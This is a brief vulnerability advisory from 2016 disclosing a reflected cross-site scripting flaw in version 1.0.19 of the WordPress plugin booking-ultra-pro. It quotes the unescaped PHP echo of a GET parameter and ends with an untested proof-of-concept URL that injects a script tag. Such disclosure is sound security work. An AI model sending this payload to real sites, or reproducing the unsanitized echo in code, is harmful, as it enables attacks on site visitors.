Advisory #: 572
Title: Reflected XSS in wordpress plugin booking-ultra-pro v1.0.19
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/booking-ultra-pro
Downloads: 2062
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: booking-ultra-pro
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./booking-ultra-pro/templates/appointment.php: 133: bup_load_step_4("<?php echo $_GET['bup_payment_method']?>"); The variable bup_payment_method appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./booking-ultra-pro/templates/appointment.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/booking-ultra-pro/templates/appointment.php?bup_payment_method="><script>alert(1);</script><"